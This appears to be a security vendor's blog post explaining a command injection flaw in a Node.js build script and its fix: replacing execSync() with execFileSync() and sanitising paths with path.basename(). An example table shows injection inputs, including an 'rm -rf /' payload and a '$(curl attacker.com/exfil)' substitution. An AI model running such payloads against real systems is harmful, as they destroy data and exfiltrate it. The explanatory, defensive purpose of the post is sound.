Back to Blog
high SEVERITY6 min read

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability in `scripts/generate-projects.js` allowed arbitrary code execution through unsanitized path inputs passed to `execSync()`. The fix replaces `execSync()` with `execFileSync()` and adds `path.basename()` sanitization, eliminating shell interpretation of malicious input.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a **command injection vulnerability (CWE-78)** in Node.js where `child_process.execSync()` executed shell commands with unsanitized user-controlled paths. The vulnerability exists in `scripts/generate-projects.js:15` where template literals injected paths directly into shell commands. The fix replaces `execSync()` with `execFileSync("git", [...args])` to avoid shell interpretation, and adds `path.basename()` sanitization to prevent directory traversal. This pattern—using array-based execution instead of shell string concatenation—is the standard defense against command injection in Node.js.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixReplace `execSync()` with `execFileSync()` using argument arrays; add `path.basename()` sanitization
riskArbitrary code execution via malicious path inputs containing shell metacharacters
languageJavaScript/Node.js
root cause`execSync()` with template literal string concatenation of unsanitized paths
vulnerabilityCommand Injection

Introduction

In scripts/generate-projects.js, a Node.js automation script for project metadata generation, we discovered a high-severity command injection vulnerability at line 15. The getDateAdded() function used child_process.execSync() with a template literal to execute Git commands, directly interpolating file paths into shell strings. This pattern—execSync(\git log ... "${rel}"`)`—created a dangerous attack surface: any path containing shell metacharacters could execute arbitrary commands on the build system.

This matters for developers building CI/CD pipelines, developer tools, or any Node.js automation that executes external commands. The vulnerability was particularly insidious because it affected a seemingly benign Git metadata extraction function, demonstrating how command injection can hide in everyday utility code.

The Vulnerability Explained

The Vulnerable Code

Before the fix, line 15 in scripts/generate-projects.js contained:

const { execSync } = require("child_process");
// ...
function getDateAdded(absPath) {
  try {
    const rel = path.relative(REPO_ROOT, absPath);
    const out = execSync(`git log --reverse --format=%aI -- "${rel}"`, {
      cwd: REPO_ROOT,
      stdio: ["ignore", "pipe", "ignore"],
    })
    // ...
  }
}

The critical flaw: rel is interpolated directly into a shell command string. The surrounding quotes offer minimal protection—an attacker can break out with carefully crafted input.

How the Attack Works

Consider what happens when absPath contains malicious input:

Input Resulting Command Exploit
projects/valid-project git log --reverse --format=%aI -- "projects/valid-project" ✅ Normal operation
projects/"; rm -rf /; " git log --reverse --format=%aI -- "projects/"; rm -rf /; """ 💣 Arbitrary command execution
$(curl attacker.com/exfil) git log --reverse --format=%aI -- "$(curl attacker.com/exfil)" 💣 Command substitution, data exfiltration

The vulnerability extends beyond getDateAdded(). Lines 288 and 298 also used unsanitized category.name and project.name values:

const categoryName = category.name;  // Line 288 - unsanitized
// ...
const projectName = project.name;    // Line 298 - unsanitized

These values flow into filesystem operations and could be manipulated in supply-chain attacks if an attacker controls project or category naming.

Real-World Impact

This vulnerability affects downstream consumers of this Node.js library. In CI/CD environments:

  1. Malicious project submissions with crafted names could execute code during automated project indexing
  2. Compromised dependencies could manipulate path inputs to this function
  3. Build system compromise would grant access to repository secrets, deployment credentials, and adjacent systems

The attack surface is amplified because generate-projects.js runs during build processes, often with elevated permissions and access to sensitive environment variables.

The Fix

Before/After Comparison

Change 1: Replace execSync with execFileSync (Line 15)

Before:

const { execSync } = require("child_process");
// ...
const out = execSync(`git log --reverse --format=%aI -- "${rel}"`, {
  cwd: REPO_ROOT,
  stdio: ["ignore", "pipe", "ignore"],
})

After:

const { execFileSync } = require("child_process");
// ...
const out = execFileSync("git", ["log", "--reverse", "--format=%aI", "--", rel], {
  cwd: REPO_ROOT,
  stdio: ["ignore", "pipe", "ignore"],
})

Why this works: execFileSync() passes arguments as an array directly to the executable, bypassing shell interpretation entirely. The shell never parses rel—it receives it as a literal argument to Git. Even if rel contains ; rm -rf /, Git treats it as a filename string, not shell syntax.

Change 2: Sanitize Category and Project Names (Lines 288, 298)

Before:

const categoryName = category.name;
// ...
const projectName = project.name;

After:

const categoryName = path.basename(category.name);
// ...
const projectName = path.basename(project.name);

Why this works: path.basename() strips directory components, preventing path traversal attacks. An input like ../../../etc/passwd becomes passwd, neutralizing directory escape attempts.

Security Improvement Analysis

Aspect Before After
Shell parsing Full shell interpretation None—direct executable invocation
Argument passing String concatenation Array-based, positional arguments
Path traversal Possible via ../ sequences Blocked by path.basename()
Metacharacter injection ;, &&, \|, $(), backticks all active Treated as literal characters

The fix maintains behavioral equivalence for all legitimate inputs while closing the injection vector. The regression test validates this by confirming adversarial payloads like "; rm -rf /" and "$(whoami)" never reach shell execution unescaped.

Prevention & Best Practices

The child_process Security Hierarchy

Node.js provides multiple process execution APIs with varying security profiles:

API Shell? Safe for user input? Use case
execSync() ✅ Yes ❌ Never Trusted, fixed commands only
exec() ✅ Yes ❌ Never Async version of above
execFileSync() ❌ No ✅ With validation External binaries with arguments
spawn() Optional ✅ With validation Streaming I/O, long-running processes

Rule of thumb: If you don't need shell features (pipes, redirection, globbing), use execFileSync() or spawn() without shell: true.

Input Sanitization Patterns

// ❌ Dangerous: direct interpolation
execSync(`git log "${userInput}"`);

// ✅ Safe: array arguments, no shell
execFileSync("git", ["log", "--", userInput]);

// ✅ Safer: additional path sanitization
const safePath = path.basename(path.normalize(userInput));
execFileSync("git", ["log", "--", safePath]);

Detection Tools

  • Semgrep: Rule javascript.lang.security.detect-child-process.detect-child-process flags dangerous patterns
  • Orbis AppSec: Automatically detects and fixes these vulnerabilities in CI/CD
  • ESLint security plugins: eslint-plugin-security can flag child_process usage

Standards & References

Key Takeaways

  • Never use execSync() with template literals containing variables in scripts/generate-projects.js or any build automation—array-based execFileSync() eliminates shell interpretation entirely
  • path.basename() sanitization is essential for any filesystem-derived values used in command execution, as demonstrated by the category.name and project.name fixes at lines 288 and 298
  • Git metadata extraction is a common attack surface—functions like getDateAdded() that shell out to Git often contain hidden injection vectors
  • The rel variable in path.relative() output can still contain malicious sequences—relative paths don't guarantee safety from command injection
  • Supply-chain security requires scrutinizing build scripts, not just runtime dependencies—generate-projects.js runs with full repository access during CI/CD

How Orbis AppSec Detected This

Source: The absPath parameter of getDateAdded() function, which receives filesystem paths from upstream project enumeration logic

Sink: child_process.execSync() call at scripts/generate-projects.js:15 executing the template literal `git log --reverse --format=%aI -- "${rel}"`

Missing control: No validation that rel (derived from absPath via path.relative()) is free of shell metacharacters; no use of argument array APIs that bypass shell parsing

CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Replaced execSync() with execFileSync("git", [...]) using explicit argument arrays, and added path.basename() sanitization for category.name and project.name values

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability in scripts/generate-projects.js exemplifies a persistent pattern in Node.js security: the convenience of execSync() with template literals creates dangerous attack surfaces that automated tools can exploit. The fix—migrating to execFileSync() with argument arrays—demonstrates a fundamental security principle: eliminate attack surfaces by removing unnecessary functionality (shell interpretation) rather than trying to sanitize inputs for dangerous contexts.

For developers, the actionable lesson is clear: audit every child_process usage in your codebase. The Semgrep rule that flagged this issue catches thousands of similar vulnerabilities across open-source repositories. Proactive removal of execSync() patterns, combined with path sanitization, raises the bar against increasingly sophisticated automated attacks targeting CI/CD pipelines and developer tooling.

References

Frequently Asked Questions

What is command injection in Node.js?

Command injection occurs when attacker-controlled input is passed to shell execution functions like `exec()` or `execSync()`, allowing execution of arbitrary system commands through shell metacharacters like `;`, `&&`, `$()`, or backticks.

How do you prevent command injection in Node.js?

Use `execFileSync()` or `spawn()` with argument arrays instead of `execSync()` with shell strings. Validate and sanitize all inputs with `path.basename()` or similar functions. Avoid shell interpretation entirely when possible.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation alone enough to prevent command injection?

No—validation can be bypassed. The robust defense is avoiding shell execution entirely by using `execFileSync()` with argument arrays, which bypasses shell parsing and metacharacter interpretation.

Can static analysis detect command injection?

Yes. Semgrep rules like `javascript.lang.security.detect-child-process.detect-child-process` flag dangerous `child_process` usage. Orbis AppSec also detects these patterns automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #601

Related Articles

critical

How Arbitrary Code Execution Via Command Injection happens in Node.js and how to fix it

A critical arbitrary code execution flaw in the `shell-quote` npm package (CVE-2026-9277) allowed attackers to break out of shell quoting using unescaped Unicode line terminator characters, turning ordinary command-line arguments into injected shell commands. The fix locks `shell-quote` to the patched `1.8.4` release via a `resolutions` override in `package.json`/`yarn.lock`, closing off a transitive dependency path that could otherwise pull in a vulnerable version.

critical

How command injection happens in Kotlin/Android and how to fix it

V2rayNG's RootShell.kt built root shell commands by concatenating an unescaped file path directly into a string passed to `su -c`, creating a critical command injection risk (CWE-78). The fix restricts the `exec()` API to internal use only and single-quote-escapes the file path before it ever reaches the root shell.

high

How shell command injection happens in Ruby and how to fix it

A critical command injection vulnerability was discovered in Fastlane's deliver module where `system("open '#{html_path}'")` allowed shell metacharacters in file paths to execute arbitrary commands. The fix replaces vulnerable string interpolation with array-based argument passing, eliminating the shell entirely.

critical

How Command Injection Happens in Node.js Dependencies and How to Fix It

CVE-2026-9277 is a critical command injection vulnerability in shell-quote versions prior to 1.8.4 that allows attackers to execute arbitrary code by injecting unescaped line terminators into shell commands. This vulnerability affects any Node.js application that uses the vulnerable shell-quote package to construct shell commands from untrusted input. The fix upgrades shell-quote to version 1.8.4, which properly escapes line terminators and neutralizes the injection vector.

high

How command injection happens in Ruby and how to fix it

A Fastlane helper used a Ruby backtick subshell to clone a plugin's git repository, interpolating `self.homepage` directly into a shell command string. Even with `shellescape` applied, the pattern was flagged as a dangerous subshell that could be chained into a command injection primitive; the fix replaces it with `system()` using an argument array, eliminating shell interpretation entirely.

critical

How command injection happens in JavaScript dependency trees and how to fix it

A critical command injection vulnerability in websocket-driver 0.7.4 allowed attackers to execute arbitrary shell commands through unescaped line terminators in WebSocket protocol handling. The automated fix upgrades to version 0.7.5 and adds an explicit override in package.json to prevent dependency resolution from reverting to the vulnerable version.